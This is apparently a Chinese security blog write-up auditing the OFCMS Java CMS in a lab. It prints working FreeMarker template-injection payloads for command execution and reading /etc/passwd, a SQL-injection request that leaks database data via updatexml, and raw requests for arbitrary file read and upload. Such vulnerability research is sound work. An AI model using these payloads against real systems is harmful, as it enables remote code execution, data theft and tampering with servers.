freemarker模版注入
漏洞发现:
-
在
pom.xml
文件当中寻找是否加载了freemarker组件 -
可以在后端未编译的html文件当中寻找是否存在关键字:
${reroot}
类似的关键字 -
假设在HTML当中找到类似关键字,可以直接搜索关键字
"reroot"
找到对应代码位置 -
查看是否存在过滤器过滤等
漏洞利用:
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("open -a Calculator.app"")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
读取文件
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
SQL注入
jfinal DB+Record模式
首先可以看到这个是使用到了jfinal DB + Record 的模式来进行数据库操作的,具体可以见文档
JFinal 文档、资料、学习、API,独创Db + Record模式
![[Pasted image 20240718094247.png]]
来自于ChatGPT对jfinal DB+Record模式对SQL注入的防御:
JFinal的DB+Record模式通过使用参数化查询,有效地防止了SQL注入攻击。在这些操作中,SQL语句和参数是分开处理的,JFinal在底层使用PreparedStatement来处理这些参数,从而确保了SQL执行的安全性。通过这种方式,开发者可以避免由于直接拼接SQL字符串而导致的安全漏洞。
实际上在下面的关键字使用预编译可能会报错或者与原本意思产生冲突:
-
Like
-
order by
-
in
-
group by
漏洞发现
可以直接进行全局关键字搜索
-
Db.query(
-
Db.update(
-
Db.query
-
Db.find(
-
Db.deleteById(
-
Db.save(
-
Db.findById(
-
Db.paginate(
来看已经发现的SQL注入漏洞:CVE-2019-9615:CVE - CVE-2019-9615 (mitre.org)
注意:
一般像这样的:
SqlPara sql = Db.getSqlPara(params.get("sqlid").toString(), params);
Db.update(sql);
在进行update前进行了预编译,一般是不存在SQLi的
漏洞复现
来到SystemGenerateController文件下,发现create方法
跟进getPara,发现实际上就是接收了来自于sql参数,将参数赋值给了sql。
后面会直接执行接收到的SQL语句。
在来看代码前面声明
@Action(path = "/system/generate", viewPath = "system/generate/")
所以我们尝试请求/system/generate
,因为是create函数存在问题,所以请求路径为`/system/generate/cteate
所以我们构造数据包(GET/POST均可)
GET /ofcms_admin/admin/system/generate/create?sql=update+of_cms_link+set+link_name%3Dupdatexml(1%2Cconcat(0x7e%2C(user()))%2C0)+where+link_id+%3D+4 HTTP/1.1
Host: 192.168.1.15:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Origin: http://192.168.1.15:8080
Referer: http://192.168.1.15:8080/ofcms_admin/admin/f.html?p=system/generate/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=8628C7F84CFE28D4B0554362FD63EF5F
Connection: close
成功爆出数据:
任意文件上传与任意文件读取
其实这两个白盒审计比较明显,如果有一些SRC漏洞挖掘经验应该能够看出来
这里极可能存在任意文件读取与任意文件修改
这里极可能存在任意文件上传
漏洞发现
根据上面的两个功能点来进行审计
漏洞复现
根据白盒审计的结果,随便点击一个文件
使用burp进行抓包,数据包如下:
来到对应编译后的目录发现没有getTemplates.html文件,猜测这个文件应该不存在,只是一个标识而已(就像在注解当中标识的请求路径而已)。加上上个漏洞的注解形式,大概猜测应该是@Action(/xxx/xxx
,然后函数名为getTemplates
。于是直接搜索关键字/cms/template
根据搜索结果来看,验证了猜想。
既然能够读取文件,直接按照代码找到读取文件的操作
String fileContent = FileUtils.readString(editFile);
读取后,将HTML代码实体化后会直接返回到前端。
向上追溯到files变量的赋值:
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
主要看listFiles函数,主要作用是返回当前目录当中的文件与目录。具体见:File类中的listFiles()方法_file.listfiles-CSDN博客
那么实际上重写了accept方法,作用也就是为了在显示当前目录的时候只显示指定的文件。
后面就会读取当前目录的第一个文件。
整体上没有什么防护,除了对特殊文件名称的要求,所以可以读取web.xml等关键文件。
直接可以进行读取,dir_name参数可有可无。
对于任意文件上传,点击保存后,使用burp进行抓包,发现是save函数。(部分过程略)
来到save函数下,保存文件的是127行的:
FileUtils.writeString(file, fileContent);
实际上我们只需要控制这两个变量即可。
根据代码来看:
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
file_name与file_content直接来自于数据包,不过就是对fileContent进行了HTMl实体化编码处理。
pathFile是来自于下面的代码
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
直接进行debug,得到pathFile其实是当前目录的绝对路径。
这边对../
字符进行过滤
String dirName = getPara("dirs");
//修复目录遍历的思路1:过滤路径中是否含有../这种敏感字符
//修复目录遍历的思路2:直接在后端规定目录的位置
if (!dirName.contains("../")){
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
于是我们直接构造数据包
POST /ofcms_admin/admin/cms/template/save HTTP/1.1
Host: 192.168.1.15:8080
Content-Length: 55
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.15:8080
Referer: http://192.168.1.15:8080/ofcms_admin/admin/cms/template/getTemplates.html?file_name=list.html&dir=/&dir_name=default
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=371495ECFAF670D9BF3D5B1E5ADF520C
Connection: close
dirs=%2F&res_path=&file_name=list.html&file_content=123
完成上传
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)